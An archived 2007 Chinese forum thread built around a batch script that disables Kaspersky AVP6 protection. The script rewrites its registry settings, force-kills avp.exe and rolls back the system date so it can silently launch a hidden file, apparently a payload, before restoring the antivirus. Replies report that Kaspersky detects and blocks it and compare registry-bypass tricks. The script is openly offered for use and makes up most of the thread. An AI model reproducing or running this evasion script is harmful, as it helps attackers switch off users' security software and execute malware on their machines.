绕过卡巴主动防御的批处理

显示全部楼层 · 发表于 2007-10-3 23:56:02

代码来自与邪恶八进制信息安全团队的黑菜，有兴趣的朋友可以做下测试。

@echo off
tasklist|findstr /i "avp.exe" && (

reg add HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0000" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0000\Childs\0000" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0000\Childs\0001" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0000\Childs\0002" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0000\Childs\0003" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0000\Childs\0005" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0001" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0001\Childs\0000" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0001\Childs\0001" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0001\Childs\0002" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0001\Childs\0003" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0002" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0002\Childs\0000" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0002\Childs\0001" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0002\Childs\0002" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0002\Childs\0003" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0002\Childs\0004" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0003" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0003\Childs\0000" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0003\Childs\0001" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0003\Childs\0002" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0003\Childs\0003" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0003\Childs\0004" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0003\Childs\0005" /v "CheckTray" /t REG_DWORD /d 0 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0003\Childs\0008" /v "CheckTray" /t REG_DWORD /d 0 /f >nul

ping -n 2 localhost >nul
taskkill /f /t /im avp.exe >nul
set date=%date% >nul
date 1981-01-01 >nul
ping -n 10 localhost > nul
start /b %systemroot%\system32\Ntras.GH0 >nul
date %date% >nul
for /f "skip=4 tokens=3-7" %%i in ('reg QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\AVP /v ImagePath
') do (
set avpp=%%i %%j %%k %%l %%m
goto restart
)
:restart
ping -n 2 localhost >nul
start "" ""%avpp%"" >nul
reg add HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0000" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0000\Childs\0000" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0000\Childs\0001" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0000\Childs\0002" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0000\Childs\0003" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0000\Childs\0005" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0001" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0001\Childs\0000" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0001\Childs\0001" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0001\Childs\0002" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0001\Childs\0003" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0002" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0002\Childs\0000" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0002\Childs\0001" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0002\Childs\0002" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0002\Childs\0003" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0002\Childs\0004" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0003" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0003\Childs\0000" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0003\Childs\0001" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0003\Childs\0002" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0003\Childs\0003" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0003\Childs\0004" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0003\Childs\0005" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\AVP6\settings\NSettings\Childs\0003\Childs\0008" /v "CheckTray" /t REG_DWORD /d 1 /f >nul
goto exit
)
:exit
echo 结束
pause>nul

显示全部楼层 · 发表于 2007-10-4 00:08:12

他没机会了
卡巴已经入库了

未命名.PNG

另外我的卡巴主防能防
以下是我关闭文件监控后，卡巴主防的表现

[ 本帖最后由 Redevil 于 2007-10-4 01:47 编辑 ]

显示全部楼层 · 发表于 2007-10-4 00:15:56

既然入库了，测就没啥意思了。本来是想看看主动防御的表现。

显示全部楼层 · 发表于 2007-10-4 00:18:42

原帖由 yu88480 于 2007-10-4 00:15 发表
既然入库了，测就没啥意思了。本来是想看看主动防御的表现。

请看我的图啊
下面的就是主防的测试
我的主防能防的

显示全部楼层 · 发表于 2007-10-4 00:18:51

斑竹的主防没做什么特殊的设置吧？还有既然入库了怎么还要“劳动”主防啊？

显示全部楼层 · 发表于 2007-10-4 00:25:16

原帖由 yu88480 于 2007-10-4 00:18 发表
斑竹的主防没做什么特殊的设置吧？还有既然入库了怎么还要“劳动”主防啊？

我是特地把文件监控关了测试的
因为我知道你想测试主防啊

显示全部楼层 · 发表于 2007-10-4 00:34:04

斑竹辛苦，

显示全部楼层 · 发表于 2007-10-4 00:40:14

除了那个改时间，其他都属于百写，卡巴的自我保护又不是摆设。。。

显示全部楼层 · 发表于 2007-10-5 08:29:46

写注册表的招儿，reg.exe不过、regedit.exe不过，只有hiv过。但是卡巴会提示。

显示全部楼层 · 发表于 2007-10-5 09:57:36

卡巴最新的227BETA版已经解决了HIV该注册表和几个可以绕过卡巴加载驱动的方法。相信V8会更强